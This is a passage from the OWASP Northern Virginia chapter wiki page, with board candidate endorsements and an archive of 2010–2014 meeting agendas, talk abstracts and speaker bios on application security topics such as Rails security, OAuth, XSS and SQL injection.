**Full Disclosure: Mike reports directly to me at our day job.&lt;br /&gt;
**Mike is one of the most ethical, hard working, and analytical people I've had the pleasure to meet. In his previous two years serving on the OWASP NoVa board, Mike has been instrumental in keeping a healthy pipeline of interesting speakers as well as helping carve out new initiatives based on chapter feedback. I fully vouch for both his character and his ability to run the chapter in an ethical, high quality manner.&lt;br /&gt;
*Akshay Sivananda&lt;br /&gt;
**OWASP Membership ID:  020000050&lt;br /&gt;
**Endorsement - Ping Ning, Chapter Member&lt;br /&gt;
**Akshay is a seasoned information security professional, with broad experience in secure SDLC, vulnerability management, and software security initiative. I worked with Akshay before and enjoyed working with him. He was very supportive and always ready to provide a helping hand. He always has an open mind and respects various opinions. I think Akshay is a great candidate for the Owasp NoVA board and believe he will make significant contribution to the chapter. As a regular member of Owasp, I wholeheartedly endorse Akshay for the Owasp NoVA chapter board.&lt;br /&gt;
*Abdullah Munawar&lt;br /&gt;
**OWASP Membership ID: 020000037&lt;br /&gt;
**Endorsement - Jon Callahan, Chapter Member&lt;br /&gt;
**I worked with Abdullah for about a year and can personally attest to not only his knowledge but also his passion and drive to further himself in the security field. When committing to something, you'll know he will follow through and because of this, was my goto guy until we parted ways. Add on the 8 years worth of involvement with OWASP and you get someone who understands exactly how this chapter works and is willing to put the time in to keep it as great as it's been. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Schedule  ===&lt;br /&gt;
&lt;br /&gt;
Meetings are (generally) held the first Thursday of the month.&lt;br /&gt;
&lt;br /&gt;
Note: We need speakers and topics! If you want to present, please contact [mailto:michael.mccabe@owasp.org Mike] or [mailto:abdullah.munawar@owasp.org Abdullah]. We're very open to hearing from all our members.  &lt;br /&gt;
&lt;br /&gt;
== Next Meeting  ==&lt;br /&gt;
&lt;br /&gt;
We'll post all meetings on the Meetup page below. &lt;br /&gt;
&lt;br /&gt;
We can also be contacted through the comment or messages systems on Meetup.&lt;br /&gt;
&lt;br /&gt;
For latest news check the meetup page here: [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/ Meetup].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Past meetings ==&lt;br /&gt;
&lt;br /&gt;
===September 2014===&lt;br /&gt;
'''Date/Time:''' September 4th, 2014 @ 6:30pm &lt;br /&gt;
&lt;br /&gt;
'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''Registration:''' [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/events/200805882/ Meetup]&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
We will cover some chapter business then go straight into a session covering Ruby on Rails Security.&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:'''&lt;br /&gt;
The World of Ruby on Rails Security&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
Take a quick trip through the world of Ruby on Rails security! The journey will start with an overview of security features offered by the popular web framework, then detour through dangerous pitfalls and unsafe defaults, and finally end with suggestions for improving security in Rails apps and integrating improvements into the development process.&lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio:'''&lt;br /&gt;
Justin Collins is a member of the application security team at Twitter and the primary author of Brakeman, a static analysis security tool for Ruby on Rails.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
===July 2014===&lt;br /&gt;
'''Date/Time:''' July 10th, 2014 @ 6:30pm &lt;br /&gt;
&lt;br /&gt;
'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''Registration:''' [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/events/191678702/ Meetup]&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
We will have a technical presentation on OAuth, and we will have an open forum on some upcoming changes to the chapter's format that we want feedback on before we move ahead with them. Our goal is to make OWASP NoVa a group that not only spreads education, but produces material for the broader application security community. Please join us and have your say in the way OWASP NoVa runs in the future!&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:'''&lt;br /&gt;
OAuth 1.0 Authorization and Security&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
OAuth 1.0 is an authorization standard based on the idea of a “valet key”. This presentation will provide an overview of the OAuth 1.0 authorization model, how it may fit in the enterprise environment, and some security implications for designers and security analyzers. OAuth 2.0 framework, the proposed standard to replace OAuth 1.0, will also be briefly discussed.&lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio:'''&lt;br /&gt;
Ping Ning is a senior consultant at Cigital with 20 years of development and security experiences. He is practicing many software security services for clients, including architecture risk analysis, security architecture and design, secure code review, penetration testing, building security programs, and tools deployment and training.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
===February 2013===&lt;br /&gt;
'''Date/Time:''' February 7th, 2013 @ 6:30pm &lt;br /&gt;
&lt;br /&gt;
'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''Registration:''' [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/events/101839862/ Meetup]&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * Talk: Jeffrey Walton - &amp;quot;Securing Wireless Channels in the Mobile Space&amp;quot;, [[Media:Securing-Wireless-Channels-in-the-Mobile-Space.ppt|Presentation Slides]]&lt;br /&gt;
 * Firetalks!&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:'''&lt;br /&gt;
Securing Wireless Channels in the Mobile Space&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
Secure channels are a cornerstone to individuals and employees on the go. The mobile environment adds additional pressures to securely delivering content to users - irregardless of whether its an email service delivering personal messages to a user, an organization providing company secrets to a mobile workforce, or a content provider streaming protected media to a subscriber. This talk will discuss the mobile environment, challenges to securely delivering content, examine past failures, offer remediation for issues in the environment, provide sample code for Android, iOS, .Net, OpenSSL, and discuss initiatives to address known issues.&lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio:'''&lt;br /&gt;
Jeff has nearly 15 years of experience in a variety of roles including Systems Engineer, System Administrator, Developer, Security Engineer and Security Architect. He has worked with a number of Federal agencies and private institutions, including the Treasury Department, Social Security Administration, State Department, Diplomatic Security Service, financial institutions, and defense contractors. He has designed mobile solutions; developed secure containers; implemented secure channels; integrated management functions such as password lockouts and remote wipes; performed code reviews; and integrated security libraries such as Microsoft CAPI, Certicom Security Builder, OpenSSL and Crypto++. Jeff has also overseen and performed certification and accreditation audits, secure code reviews, and architectural risk assessments on traditional and mobile systems of varying code base sizes (primarily Objective C, C/C++ with Java, .Net).&lt;br /&gt;
&lt;br /&gt;
'''Downloads:'''&lt;br /&gt;
[[Media:Securing-Wireless-Channels-in-the-Mobile-Space.ppt|Presentation Slides]], [[Media:pubkey-pin-supplement.pdf|Supplement with code excerpts]], [[Media:pubkey-pin-android.zip|Android sample program]], [[Media:pubkey-pin-ios.zip|iOS sample program]], [[Media:pubkey-pin-dotnet.zip|.Net sample program]], [[Media:pubkey-pin-openssl.zip|OpenSSL sample program]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
===January 2013===&lt;br /&gt;
'''Date/Time:''' January 10th, 2013 @ 6:30pm &lt;br /&gt;
&lt;br /&gt;
'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''Registration:''' [http://www.eventbrite.com/event/5106285036 Eventbrite]&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * Upcoming chapter elections and 2013 plans&lt;br /&gt;
 * Talk: &amp;quot;Automating (Some) Android Security Testing&amp;quot;&lt;br /&gt;
 * Firetalks!&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:'''&lt;br /&gt;
Automating (Some) Android Security Testing&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
Dynamically assessing an Android application for security issues requires examining many different layers. Some areas are extremely feasible to automate, while some areas may lend themselves better to manual analysis or semi-automated analysis. This presentation will present a more semi-automated approach to assessing applications rather than 'fire and forget' testing. We'll also look at some of the prerequisites for performing Android testing as well as some of the essentials for things you'll want in your testing environment (such as coffee and Red Bull).&lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio:'''&lt;br /&gt;
[https://www.owasp.org/index.php/User:Jack_Mannino Jack Mannino]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
===October 2012===&lt;br /&gt;
'''Date/Time:''' October 4th, 2012 @ 6:30pm &lt;br /&gt;
&lt;br /&gt;
'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''Registration:''' [http://www.eventbrite.com/event/4430947082 Eventbrite]&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * Talk: [https://www.owasp.org/index.php/Dan_Cornell Dan Cornell] - &amp;quot;Benchmarking Web Application Scanners for YOUR Organization&amp;quot;, [https://www.owasp.org/images/7/73/OWASP_BenchmarkingWebApplicationScannersForYourOrganization_Content-1.pptx Presentation Slides]&lt;br /&gt;
 * Firetalks!&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:'''&lt;br /&gt;
Benchmarking Web Application Scanners for YOUR Organization&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
Web applications pose significant risks for organizations. The selection of an appropriate scanning product or service can be challenging because every organization develops their web applications differently and decisions made by developers can cause wide swings in the value of different scanning technologies. To make a solid, informed decision, organizations need to create development team- and organization-specific benchmarks for the effectiveness of potential scanning technologies. This involves creating a comprehensive model of false positives, false negatives and other factors prior to mandating analysis technologies and making decisions about application risk management. This presentation provides a model for evaluating application analysis technologies, introduces an open source tool for benchmarking and comparing tool effectiveness, and outlines a process for making organization-specific decisions about analysis technology selection.&lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio:'''&lt;br /&gt;
Dan Cornell has over 15 years experience architecting and developing web-based software systems. As CTO, he leads Denim Group's security research team in investigating the application of secure coding and development techniques to improve web-based software development methodologies. He also heads the Denim Group security research team, investigating the application of secure coding and development techniques to the improvement of web-based software development methodologies. Dan currently serves as the OWASP San Antonio chapter leader, member of the OWASP Global Membership Committee and co-lead of the OWASP Open Review Project. Dan has spoken at numerous security conferences, such as RSA in San Francisco, OWASP EU Research in Athens and OWASP AppSec USA in Minneapolis.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== July 2012 ===&lt;br /&gt;
'''Date/Time:''' July 12th, 2012 @ 6:30pm &lt;br /&gt;
&lt;br /&gt;
'''Location Sponsor:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * Talk: [https://www.owasp.org/index.php/John_Steven| John Steven] - &amp;quot;Password Storage Security&amp;quot;&lt;br /&gt;
 * Firetalks!&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:'''&lt;br /&gt;
&amp;quot;Password Storage Security&amp;quot; [[Media:PSM_-_Problem_Definition.pdf|Password Storage Security.pdf]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
During the June meeting we discussed the LinkedIn password theft which was just beginning its the news cycle. We'll use the July chapter meeting to discuss issues around password hashing and a solution. While wholly different schemes for protecting passwords at rest are preferable, it's instructive to look at hashing passwords as a threat modeling exercise and take the time to follow through to a fix. &lt;br /&gt;
&lt;br /&gt;
To read up on the issue, look at my latest blog post on the topic: [http://goo.gl/sGyi8|Justice League Blog - Securing Password Storage]&lt;br /&gt;
&lt;br /&gt;
For those who were sufficiently intrigued, mystified, or inspired by the presentation on password protection at the last chapter meeting, Coursera is offering a free 6-week Stanford course on cryptography that begins on August 27th (&amp;quot;Learn about the inner workings of cryptographic primitives and how to apply this knowledge in real-world applications!&amp;quot;): [https://www.coursera.org/course/crypto|Crypto Course] &lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio:'''&lt;br /&gt;
&lt;br /&gt;
See  [https://www.owasp.org/index.php/John_Steven| John Steven Bio]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== June 2012 ===&lt;br /&gt;
'''Date/Time:''' June 7th, 2012 @ 6:30pm &lt;br /&gt;
&lt;br /&gt;
'''Location Sponsor:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * Talk: Ken Johnson (LivingSocial) - &amp;quot;AppSec, Ritalin, and Failing Fast&amp;quot;&lt;br /&gt;
 * Firetalks!&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:'''&lt;br /&gt;
&amp;quot;AppSec, Ritalin, and Failing Fast&amp;quot; [https://www.owasp.org/images/e/e9/Ken_Johnson_July_2012.pptx AppSec, Ritalin, and Failing Fast Presentation] &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
In early April Ken Johnson and Matt Ahrens presented a high-level overview of building an Application Security program at LivingSocial. This talk will differ in that it will focus on the granular aspects involved with introducing security into an incredibly intense development environment. The discussion will be compromised of experiences in:&lt;br /&gt;
* Developing technical solutions to solving difficult challenges&lt;br /&gt;
* Remaining proactive with an increased workload&lt;br /&gt;
* What it means to innovate&lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio:'''&lt;br /&gt;
&lt;br /&gt;
Ken Johnson is the Application Security Manager for LivingSocial.com. Prior to joining LivingSocial.com, Ken worked in various application security consulting roles. Ken is the primary developer of the Web Exploitation Framework (wXf) and enjoys contributing to other open source projects as often as time permits. Ken has spoken at AppSec DC 2010 &amp;amp; 2012, OWASP DC and Phoenix chapters and is a member of the Attack Research Team.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== May 2012 ===&lt;br /&gt;
'''Date/Time:''' May 3rd, 2012 @ 6pm &lt;br /&gt;
&lt;br /&gt;
'''Location Sponsor:''' [http://corporate.livingsocial.com/home Living Social], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * &amp;quot;Chill Out&amp;quot; conversations (formal talked pushed back due to logistical issues)&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== April 2012 ===&lt;br /&gt;
'''Date/Time:''' April 16th, 2012 @ 6pm &lt;br /&gt;
&lt;br /&gt;
'''Location Sponsor:''' [http://corporate.livingsocial.com/home Living Social], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''Food Sponsor:''' Jeremy Long - jeremy.long[at]owasp.org&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * Talk: &amp;quot;Malicious Code Detection or BRIC Breaking Through Static Analysis&amp;quot; by Masha Khainson (Cigital)&lt;br /&gt;
 * Firetalks!&lt;br /&gt;
 * ISSA NoVA Social @Champps!  :)&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:''' &amp;quot;Malicious Code Detection or BRIC Breaking Through Static Analysis&amp;quot;&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
Malicious Code Detection or BRIC Breaking Through Static Analysis: As organizations outsource development to less trustworthy providers malware becomes as much a problem as introduction of honest vulnerability by one's own development shop. Assessment practices currently look for vulnerability within source code and a running systems but these are but a few of windows of opportunity for malware introduction. This presentation demonstrates an approach for augmenting an existing security practice with the capability to detect potentially malicious code through secure code review. First, we show how to break malicious intent--often quite subtle--into concrete patterns we can reliably detect. The framework then demonstrates how to build suspicion around reliance of particular patterns' use in concert which, increasingly, imply malicious intent. These techniques will be explained through a demonstration in a real world application.&lt;br /&gt;
&lt;br /&gt;
'''Bio'''&lt;br /&gt;
Masha (a.k.a Marina) has dreamed of becoming a security consultant before she ever knew what a ballerina was, and that's a good thing - because she does not intend her talk to be a ballet recital. Having been in software security for over seven years, Ms. Khainson has delivered Architecture Risk Assessment, Secure Code Review, and Ethical Hacking on many architectures, platforms and technologies. Marina has also developed training materials for clients and led remediation assistance teams.&lt;br /&gt;
&lt;br /&gt;
Prior to joining Cigital, Marina was a member of a research team at a leading security research provider, where using disassembly as well as protocol and source code analysis, she provided key information on newly released vulnerabilities. Before that, Marina assisted the same research team in producing detailed reports on critical malware and spyware threats, as well as developing and testing content for network security devices from some of the top providers of intrusion detection and prevention technologies.&lt;br /&gt;
&lt;br /&gt;
Download: [[Media:MCD-OWASPNoVA.pdf|Malicious Code Detection or BRIC Breaking Through Static Analysis]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== November 2011 ===&lt;br /&gt;
'''Date/Time:''' November 3rd, 2011 @ 6pm &lt;br /&gt;
&lt;br /&gt;
'''Location Sponsor:''' [http://www.qinetiq.com/ QinetiQ], 2677 Prosperity Ave Fairfax, VA 22031&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 # News / Updates&lt;br /&gt;
 # Talk: &amp;quot;Lessons Learned from the SQL Injection Challenge&amp;quot; by Ryan Barnett (Trustwave SpiderLabs)&lt;br /&gt;
 # Firetalks! :)&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:''' &amp;quot;Lessons Learned from the SQL Injection Challenge&amp;quot;&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
How effective are blacklist filters vs. SQL Injection attacks?  What is the failure rate vs. automated scanning or manual testing?  Are there any &amp;quot;Time-to-Bypass&amp;quot; metrics?  In an attempt to answer these questions, Trustwave SpiderLabs' Research Team (the development team behind the ModSecurity WAF and the OWASP ModSecurity Core Rule Set) held a community &amp;quot;SQL Injection Challenge&amp;quot; to test the effectiveness of the OWASP ModSecurity Core Rule Set protections.  This presentation will provide an overview of the challenge, a step-by-step walk-through of the bypass tactics used by the winners, as well as, present a new approach to attack detection using ModSecurity's Lua API to perform Bayesian analysis.&lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio:'''&lt;br /&gt;
[mailto:ryan.barnett@owasp.org Ryan C. Barnett] (Twitter: [http://twitter.com/#!/ryancbarnett @ryancbarnett]) is a senior security researcher on Trustwave's SpiderLabs Team. He is a SANS Institute certified instructor and a member of both the Top 20 Vulnerabilities and CWE/SANS Top 25 Most Dangerous Programming Errors teams. In addition to working with SANS, he is also a WASC Member where he leads the Web Hacking Incidents Database (WHID) and Distributed Web Honeypots Projects and is also the OWASP ModSecurity Core Rule Set (CRS) project leader. Mr. Barnett has also authored a Web security book for Addison/Wesley Publishing entitled &amp;quot;Preventing Web Attacks with Apache&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== October 2011 ===&lt;br /&gt;
'''Date/Time:''' October 6th, 2011 @ 6pm &lt;br /&gt;
&lt;br /&gt;
'''Location/Food Sponsor:''' [http://www.cigital.com/ Cigital], 21351 Ridgetop Circle, Suite 400, Sterling, VA 20166 &lt;br /&gt;
&lt;br /&gt;
'''AGENDA:'''&lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * AppSec USA 2011 Recap&lt;br /&gt;
 * Talk: Jack Mannino: [http://www.slideshare.net/JackMannino/owasp-top-10-mobile-risks &amp;quot;OWASP Top 10 Mobile Risks&amp;quot;]&lt;br /&gt;
 * Firetalks! :)&lt;br /&gt;
&lt;br /&gt;
=== September 2011 ===&lt;br /&gt;
&lt;br /&gt;
The September meeting was cancelled due to inclement weather (flash flooding).&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== August 2011  ===&lt;br /&gt;
&lt;br /&gt;
We held a &amp;quot;social&amp;quot; event at Sweetwater Tavern in Sterling, VA. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== July 2011  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' July 7th, 2011 @ 6pm&amp;lt;br&amp;gt; '''Location Sponsor:''' [http://www.cigital.com Cigital], Suite 400 21351 Ridgetop Circle, Dulles, VA, 20166&amp;lt;br&amp;gt; '''Food Sponsor:'''&amp;lt;br&amp;gt; '''AGENDA:''' &lt;br /&gt;
&lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * Topic of the Month: iGoat - Ken Van Wyk&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== June 2011  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' June 9th, 2011 @ 6pm (*Note: 2nd Thursday of June!)&amp;lt;br&amp;gt; '''Location Sponsor:''' [http://about.collegeboard.org/ The College Board], 11955 Democracy Drive Reston, VA 20190&amp;lt;br&amp;gt; '''Food Sponsor:''' The College Board&amp;lt;br&amp;gt; '''AGENDA:''' &lt;br /&gt;
&lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * Topic of the Month: [https://www.owasp.org/index.php/Top_10_2010-A4 A4 &amp;quot;Insecure Direct Object References&amp;quot;]&lt;br /&gt;
 * College Board Speaker: &amp;quot;Attack-in-Depth:  Exploits of the OWASP Top Ten in Action&amp;quot;&lt;br /&gt;
 * Firetalks! :)&lt;br /&gt;
 - Jack Mannino: &amp;quot;Android Security 101&amp;quot;&lt;br /&gt;
 - Others!&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== May 2011  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' Cinco de Mayo (May 5th), 2011 @ 6pm &amp;lt;br&amp;gt; '''Location Sponsor:''' [http://www.akamai.com/ Akamai], 11111 Sunset Hills Dr, Suite 250, Reston, VA 20190&amp;lt;br&amp;gt; '''Food Sponsor:''' Akamai&amp;lt;br&amp;gt; '''AGENDA:''' &lt;br /&gt;
&lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * 2011 Election (voice vote on the entire slate)&lt;br /&gt;
 * Topic of the Month: [http://www.owasp.org/index.php/Top_10_2010-A3 A3 &amp;quot;Broken Authentication and Session Management&amp;quot;]&lt;br /&gt;
 * Speaker: Steve Witmer on A3 from the &amp;quot;breakers&amp;quot; perspective&lt;br /&gt;
 * Speaker: ??? on A3 from the &amp;quot;fixers/defenders&amp;quot; perspective&lt;br /&gt;
 * Firetalks! :)&lt;br /&gt;
 * '''Update:''' All election candidates were elected by voice vote. &lt;br /&gt;
    * Please see: [https://docs.google.com/document/d/1h8GTqsWg2xiTwWAWS-Ra6_GU4eJGt44aa1hFc9EQloU/edit?hl=en_US&amp;amp;authkey=CIS9zFM '11 Chapter Board Election Material]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== April 2011  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' April 7, 2011 @ 6pm &amp;lt;br&amp;gt; '''Location Sponsor:''' [http://www.reversespace.com/ ReverseSpace], 13505 Dulles Technology Dr, Suite 3, Herndon, VA 20171 &amp;lt;br&amp;gt; '''Food Sponsor:''' [https://www.cigital.com Cigital]&amp;lt;br&amp;gt; '''AGENDA:''' &lt;br /&gt;
&lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * 2011 Election&lt;br /&gt;
 * Topic of the Month: [http://www.owasp.org/index.php/Top_10_2010-A2 A2 &amp;quot;Cross-Site Scripting (XSS)&amp;quot;]&lt;br /&gt;
 * Preso:&amp;quot;Cross-Site Scripting is Not Your Friend: XSS and the Facebook Platform&amp;quot; by Joey Tyson ([https://www.owasp.org/images/9/92/Xssnotfriend-edited.pptx PPTX] or [https://www.owasp.org/images/0/06/Xssnotfriend-edited.pdf PDF])&lt;br /&gt;
 * Preso:“XSS Remediation” by Cassia Martin ([https://www.owasp.org/images/6/66/XSS_Remediation.ppt PPT])&lt;br /&gt;
 * Preso:&amp;quot;Growing the secure application developer community through expanded curricula&amp;quot; by Tony Gottlieb&lt;br /&gt;
 * FireTalks (bring it!)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== March 2011  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' March 3, 2011 @ 6pm &amp;lt;br&amp;gt; '''Location Sponsor:''' [http://www.boozallen.com/ Booz Allen Hamilton], 13200 Woodland Park Road, Herndon, VA 20171 &amp;lt;br&amp;gt; '''AGENDA:''' &lt;br /&gt;
&lt;br /&gt;
  * News / Updates&lt;br /&gt;
  * [http://www.owasp.org/index.php/OWASP_Summit_2011 OWASP Summit 2011] In Review&lt;br /&gt;
  * Preso: [http://www.owasp.org/index.php/Top_10_2010-A1-Injection A1 &amp;quot;Injection&amp;quot;]&lt;br /&gt;
  * Briefing: Training/Preso Plan for the Year&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== February 2011  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' February 3, 2011 @ 6pm&amp;lt;br&amp;gt; '''Location Sponsor:''' [http://www.akamai.com/ Akamai], 11111 Sunset HIlls Dr, Suite 250, Reston, VA 20190&amp;lt;br&amp;gt; '''AGENDA:''' &lt;br /&gt;
&lt;br /&gt;
  * News / Updates&lt;br /&gt;
  * Feedback for [http://www.owasp.org/index.php/OWASP_Summit_2011 OWASP Summit 2011]&lt;br /&gt;
  * Preso: Intro to [http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project OWASP Top 10] + 2&lt;br /&gt;
  * Briefing: Training/Preso Plan for the Year&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== December 2010  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' December 2, 2010 @ 6pm&amp;lt;br&amp;gt; '''Location Sponsor:''' [http://hackerspaces.org/wiki/Reverse_Space ReverseSpace], 13505 Dulles Technology Drive, Herndon, VA&amp;lt;br&amp;gt; '''AGENDA:''' &lt;br /&gt;
&lt;br /&gt;
   * 2011 Planning Session (Schedule, Volunteers, Speakers, Topics)&lt;br /&gt;
  * Lightning Talks!! (Bring an idea, a question, a topic, whatever - 5-10 minute talks max!)&lt;br /&gt;
  * Social / Networking (BYOB!)&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== November 2010  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' November 4, 2010 @ 6pm&amp;lt;br&amp;gt; '''Location Sponsor:''' Akamai, 11111 Sunset Hills Rd, Suite #250, Reston, VA&amp;lt;br&amp;gt; '''Speaker:''' Ben Tomhave&amp;lt;br&amp;gt; '''Title:''' The Unintended Consequences of Beating Users with Carrot Sticks: Radical Thoughts on Security Reform&amp;lt;br&amp;gt; '''Description:''' What we're doing today is not working and isn't sustainable. The fundamental culture of the average business does not encourage making good security decisions. Software shops continue to focus on functionality and timelines, neglecting information security. In spite of regulations like PCI and HIPAA+HITECH, which are levying fines against organizations for their security failures, the tipping point has clearly not been reached to cause meaningful change. Much of this problem can be attributed to the excessive use of negative incentives (sticks) instead of providing positive incentives (carrots) that inspire better decision making and motivate true change. Fortunately, it's not too late to change tactics and start achieving demonstrable success.&amp;lt;br&amp;gt; '''Speaker Bio:''' Ben Tomhave is a Senior Security Analyst with Gemini Security Solutions in Chantilly, VA, specializing in solutions architecture, security planning, program development and management, and other strategic security solutions. He holds a MS in Engineering Management with an Information Security Management concentration from The George Washington University and is a CISSP. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== June 2010  ===&lt;br /&gt;
&lt;br /&gt;
'''DATE''': Thursday, June 3rd, 6pm Eastern Daylight Time&amp;lt;br&amp;gt; '''LOCATION''': Booz Allen Hamilton - 13200 Woodland Park Road Herndon, VA 20171&amp;lt;br&amp;gt; '''SPEAKER''': Alex Hutton, Verizon Business and http://www.newschoolsecurity.com/&amp;lt;br&amp;gt; '''TOPIC''': Risk Management - Time to blow it up and start over?&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
'''DESCRIPTION''': &lt;br /&gt;
&lt;br /&gt;
A redux of the presentation that Alex delivered at B-Sides San Francisco during RSA 2010. &amp;quot;Now that the industry is trying to formalize the concept of risk management into neat little compartments like standards (ISO 27005/31000), certifications (CRISC) and products (GRC) guess what? We're doing it wrong. Fundamentally wrong. This talk will discuss why all this current risk management stuff is goofy and what sort of alternatives we have that might help us understand our ability to protect, our tendency towards failure, and how to match that up with what management will stomach.&amp;quot; &lt;br /&gt;
&lt;br /&gt;
Slides are available from: [http://www.slideshare.net/BSides/risk-management-time-to-blow-it-up-and-start-over-alex-hutton Risk Management - Time to blow it up and start over?]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; '''SPECIAL SPEAKER''': &lt;br /&gt;
&lt;br /&gt;
[http://twitter.com/tiffanyrad Tiffany Rad] provided an overview and update on [http://twitter.com/reversespace Reverse Space] in Herndon, VA. For more information, or to help out, please join the [http://groups.google.com/group/ReverseSpace Reverse Space Google Group]. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== May 2010  ===&lt;br /&gt;
